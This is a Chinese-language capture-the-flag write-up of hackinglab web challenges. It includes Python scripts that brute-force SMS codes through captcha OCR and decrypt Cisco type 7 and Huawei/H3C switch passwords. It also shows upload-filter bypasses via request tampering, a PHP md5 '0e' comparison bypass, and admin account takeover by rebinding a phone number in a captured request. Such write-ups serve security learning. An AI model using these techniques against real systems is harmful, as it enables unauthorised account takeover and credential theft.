3	102	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
5	104	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
4	103	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
6	105	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
8	107	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
9	108	200	<input type="checkbox"/>	<input type="checkbox"/>	264	

Request Response

Raw Headers Hex

```
Pragma: no-cache
Via: 10.67.21.26
X-Daa-Tunnel: hop_count=1
Content-Length: 18

key is [REDACTED] (!@@sd
```

? < + > Type a search term 0 matches

Finished

ok~

## 11.验证码识别

验证码识别

Tips:验证码依然是3位数

通关地址

题目意思就是爆破手机验证码,而每次提交后,图片验证码都会改变.爆破好说,至于验证码识别....python大法好

```

from pytesser import *
import requests
import os

cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facb1'}

def vcode():
    pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
    r = requests.get(pic_url, headers=header)
    with open(vcode_path, 'wb') as pic:
        pic.write(r.content)
    im=Image.open('vcode.png')
    text=image_to_string(im)
    v=text[0:4].replace('0','0').replace('o','0').replace('1','1')
    if len(v)==4 and v.isdigit():
        return v
    else:
        return 0

url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
    while 1:
        code = vcode()
        if code:
            break
    data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
    r = requests.post(url, data=data, headers=header, timeout=10)
    print 'm_vode=%s u_vcode=%s %s' %(i,code,r.content)

```

验证码识别难免会有出错的地方,我加了一些判断的地方尽量保证识别是对的..然而脸黑的话还是得跑上几次

m\_vode=191 u\_vcode=7709 key is 5dd4aa\*\*)

又发现了一个工具

序号	变体值1	验证码	状态码	错误	超时	长度	匹配
32	131	9651	200	否	否	24	
1	100	1273	200	否	否	28	
2	101	3566	200	否	否	28	
3	102	2830	200	否	否	28	
4	103	2830	200	否	否	28	
5	104	5499	200	否	否	28	

差不多就是brupsuite+验证码识别~

## 12.XSS基础关

XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>

通关地址

---

XSS还不太会,跳~

---

13.XSS基础2:简单绕过

很容易就可以过关.

[通关地址](#)

---

XSS还不太会,跳~

---

14.XSS基础3:检测与构造

XSS基础3:检测与构造

Tips:不是很难

[通关地址](#)

---

XSS还不太会,跳~

---

15.Principle很重要的XSS

原理/原则/理念很重要.....不是所有的xss都叫特仑苏.. ^\_^

Take it easy!

[通关地址](#)

---

XSS还不太会,跳~

---

## 注入关

---

注入正在学,先留着以后填坑~

---

## 上传关

---

1.请上传一张jpg格式的图片

只能上传jpg格式的图片哦~!

[通关地址](#)

---

上传就传呗~

“恩， 真乖， 您上传了一张jpg格式的图片”

.....看源码

```
<form action="upload_file.php" method="post" enctype="multipart/form-data" onsubmit="return check()">
```

所以点进去

key就这么出来了...

2.请上传一张jpg格式的图片

只能是jpg哦！

[通关地址](#)

传个试试

“真乖，您上传了一张jpeg的图片，上传成功！”

看源码,还是点进去看看

“上传文件类型错误！”

抓个包看看...

先使用.jpg上传，然后抓包把文件后缀改了

Request

Raw Params Headers Hex

```
POST /upload2_31cc2e024f91058a742d8bed95c7ca4f/upload_file.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/upload2_31cc2e024f91058a742d8bed95c7ca4f/
Cookie: PHPSESSID=896861c59678e89611bb675ff33facb1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=-----246015964205
Content-Length: 37813

-----246015964205
Content-Disposition: form-data; name="file"; filename="0048RmDVgy70rIsxpff0d&690.txt"
Content-Type: image/jpeg
```

JFIF

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 08:11:45 GMT
Content-Type: text/html; charset=utf-8
Via: 10.67.15.48
X-Daa-Tunnel: hop_count=1
Content-Length: 26

key is [REDACTED] dvytig#$$%`&
```

OK~

3.请上传一张jpg格式的图片

只能是jpg哦！

[通关地址](#)

试了一下,前面2题的方法都不行了

js代码一直没看,认真看了一下(虽然只能看点大意),发现js通过 . 分割上传的文件名,取 . 后面的字符串为扩展名来验证.那要是我们传的文件名是XX.jpg.txt呢,显然也是可以通过验证的.试一试咯

果然,key到手~

## 解密关

### 1.以管理员身份登录系统

以管理员身份登录即可获取通关密码(重置即可，无需登录)

#### 通关地址

补充说明：假设除了admin用户，其它用户的邮箱都可被登录获取重置密码的链接。

点忘记密码进去重置的时候，如果是非admin，就可以重置成功。要是是admin就不行。

尝试抓包看看

The screenshot shows a network traffic capture interface. On the left, under 'Request', there is a table of parameters:

Type	Name	Value
URL	sukey	62f5b6b45ecd26d3f27ab13055601243
URL	username	admin
Cookie	PHPSESSID	896861c59678e89611bb675ff33facb1

On the right, under 'Response', the server's response is shown:

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 08:55:26 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Content-Length: 0
Pragma: no-cache
Via: 10.67.15.48
X-Daa-Tunnel: hop_count=1
```

可以看到，右侧并没有返回啥东西。

又注意到有个sukey，看起来是md5，解一下看看

1477558406

再试了几组，发现就后3位在变动，而且一直在增长，看起来很像时间戳。

试一下看看

以后再来填坑

### 2.邂逅对门的妹纸

小明想要认识对门的漂亮妹纸，但又不好意思直接去敲门，但是小明知道妹纸今年(2014年)上大三（提交wifi密码的md5 32位小写）

#### Wifi-Crack

2014 年上大三，那就是出生在 1994 .用python写个19940101-19941231的字典，用EWSA 爆破

```
fp=open('pass.txt', 'w')
year=1994
for mon in range(1, 13):
    for day in range(1, 32):
        fp.write('%d%02d%02d\n' % (year, mon, day))
fp.close()
```

SSID	Hash	密码	状态	注释
<input checked="" type="checkbox"/> hackinglab		1994f	找到	

ok~

### 3.万恶的Cisco

小明入侵了某企业内网，成功的从一管理员电脑获取了某型号交换机running-config文件，发现以下密码

02070D48030F1C294940041801181C0C140D0A0A20253A3B

请你帮他破解该密码。

搜了一下,发现是Cisco密码

找到了一个网站,直接解~

Type 7 Password: 02070D48030F1C294940041801181C0C140D0A0A20253A3B

Crack Password

Plain text: aishish... Admin

A screenshot of a web-based password cracker. It has two main input fields. The top field is labeled "Type 7 Password" and contains the hex string "02070D48030F1C294940041801181C0C140D0A0A20253A3B". Below it is a "Crack Password" button. The bottom field is labeled "Plain text:" and contains the plain text "aishish... Admin", with a red arrow pointing to the "Admin" part of the string.

那个网站(<http://www.ifm.net.nz/cookbooks/passwordcracker.html>)

### 4.万恶的加密

这次小明通过某漏洞获取到了某huawei/h3c交换机的加密密码，请你帮他破解。

aK9Q4lJ'#[Q=^Q`MAF4<1!!

没啥思路..看见"某huawei/h3c交换机",搜之,发现一个代码.我小小地改了一下

```

# -*- coding: cp936 -*-
import sys, os
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')


def ascii_to_binary(s):
    assert len(s) == 24
    out = [0] * 18
    i = 0
    j = 0
    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xfffffff
        k = decode_char(s[i + 1])
        y = (y | k) & 0xfffffff
        y = (y << 6) & 0xfffffff
        k = decode_char(s[i + 2])
        y = (y | k) & 0xfffffff
        y = (y << 6) & 0xfffffff
        k = decode_char(s[i + 3])
        y = (y | k) & 0xfffffff
        out[j + 2] = chr(y & 0xff)
        out[j + 1] = chr((y >> 8) & 0xff)
        out[j + 0] = chr((y >> 16) & 0xff)
        j += 3
    return ''.join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\x00")

print decrypt_password(raw_input('输入密文\n'))

```

## 5.喜欢泡网吧的小明

小明特别喜欢泡网吧，而这个月小明拿到了他第一个月的薪水，于是这次到了他平时最常去的网吧充了100元办理了一张会员卡，于是乎小明再也不用花钱上网了。

[通关地址](#)

---

不会哇....T\_T

## 6.异常数据

小明今天去妹纸家开Party,而妹纸却给他出了一个谜语,说只要他能答出来,她就会答应小明一个要求.

这是妹纸给小明的谜语序列:AGV5IULSB3ZLVSE=

Tips:key就是解密结果

最后有个等号,很明显是base64,可是也不会都是大写字母吧.试一下爆破大小写~

```
import base64,re
from itertools import combinations
s=list('AGV5IULSB3ZLVSE=')

for i in range(len(s)):
    for j in list(combinations([x for x in range(len(s))], i)):
        a=list(s)
        for k in j:
            a[k]= a[k].lower()

r=repr(base64.b64decode(''.join(a)))
if '\x' not in r:
    print r[1:-1]
```

结果

| **hey! IloveU!**

7.md5真的能碰撞嘛?

md5真的能碰撞嘛?其实有时候我们不需要进行碰撞得到完全一致的MD5

[通关地址](#)

打开后有个小小的链接.点击看看

```
<?php
$flag=FLAG;
if(isset($_POST["password"])){
    $password=$_POST['password'];
    $rootadmin="!1793422703!";
    if($password==$rootadmin){die("Please do not attack admin account!");}

    if(md5($password)==md5($rootadmin)){
        echo $flag;
    }else{
        die("Password Error!");
    }
}
?>
```

代码的意思就是我们需要post password,令它不等于!1793422703!,且password的值经过md5加密后还得和!1793422703!经过md5加密过值"==".

Pass:	!1793422703!
Salt:	
加密	

Result:

md5: 0e332932043729729062996282883873

可以看到,md5值是0e开头的.考查的应该是php的“==”类型强转隐患.所以我们只要让post的值经过md5加密后开头也是0e就行了,符合这个特性的字符串有很多.比如”240610708”.

POS  http://ib.com/pentest5\_6a204bd89f3c8348af5c77c717a097a/    请求Body参数  请求Header

Body参数名称	Body参数值
password	240610708 <input type="button" value="删除参数"/>

Header名称	Header值
<input type="button" value="添加Header"/>	

Response Header	Response Body
执行时间 : 1.0606799125671 HTTP/1.1 200 OK Server: Apache	<a href="code.txt">__</a>yes

## 8.小明爱上了一个搞硬件的小姑凉

小明爱上了一个搞嵌入式开发的小姑凉,于是特别想通过一种与众不同的方式向她表白,于是他在她的电脑桌面放了一个文件.  
[数据下载](#)

Tips: 该文件为某逻辑分析仪抓包数据,请分析其中的内容,过关密钥为抓包数据内容的小写.

嵌入式开发,不会

## 9.有签名限制的读取任意文件

我们一直认为,只要消息签名了,salt不泄露且无法猜解到,即便是算法使用公开的加密算法,那么黑客也无法篡改信息.可是真的是这样嘛?

[通关地址](#)

Tips: MD5 Length Extension Attack!

Tips: 除已经告知的/etc/hosts文件外,若能读取到任意系统文件即可获取Flag.

Info: 增加密钥长度为32位

没思路,跳~

# 综合关

## 1. 渗透测试第一期

注意：该题目模拟真实环境，故具有排他性，请选择合适的时间段完成该题。你只有一部可用手机，手机号码会在需要手机号码的页面中给出。

[通关地址](#)

修复

现在用户不用排他了，只要保证在一个session里即可。

先按注册,绑定,登录的过程走一遍,最后显示

## 个人中心

key在管理员那里~

那就是要用管理员账号登录啦.而管理员账号密码都不知道.管理员账号倒是可以猜一猜,什么"admin","Admin","administrator"之类的.网站上有个"Forgot Password?"可以重置密码,那么我们可以尝试用给出的的手机号重置admin密码.提示"输入的手机号码不正确".那么admin的手机号要怎么获取呢.绑定手机的时候我们可以抓包改一下用户名为admin

The screenshot shows a network traffic capture interface with two panels: Request and Response.

**Request:**

```
POST /base14_2d7aae2ae829d1d5f45c59e8046bbc54/step2.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/base14_2d7aae2ae829d1d5f45c59e8046bbc54/step2.php
Cookie: PHPSESSID=cc050deff0b0301bc82f43926e4a3ba02
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

username=admin&tel=13388633714&vcode=20947
```

**Response:**

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Fri, 28 Oct 2016 03:18:29 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.15.22
X-Daa-Tunnel: hop_count=1
Content-Length: 77

<script>alert('手机绑定成功!');window.location='./main.php';</script>
```

现在就可以重置admin的密码了,并用重置后的密码登录看看

key就出来了

## 2. 没有注入到底能不能绕过登录

不是SQL注入

[通关地址](#)

随便输些,登录提示"error".看了一下robots.txt,发现"Disallow: /myadminroot/"  
打开看看"Please login first!"所以先登录,再访问/myadminroot.写个python咯

```
import requests
r = requests.Session()
url = 'http://lab1.xseclab.com/pentest3_307c0281537de1615673af8c1d54885a/'
data = {'username': '1', 'password': '1'}
r.post(url, data=data)

url2 = 'http://lab1.xseclab.com/pentest3_307c0281537de1615673af8c1d54885a/myadminroot/'
print r.get(url2).content
```

结果是"please login as admin!".那把username的值改为admin再来一次  
key到手

---

其他的题目都不会啦,就先写到这吧~

---

结束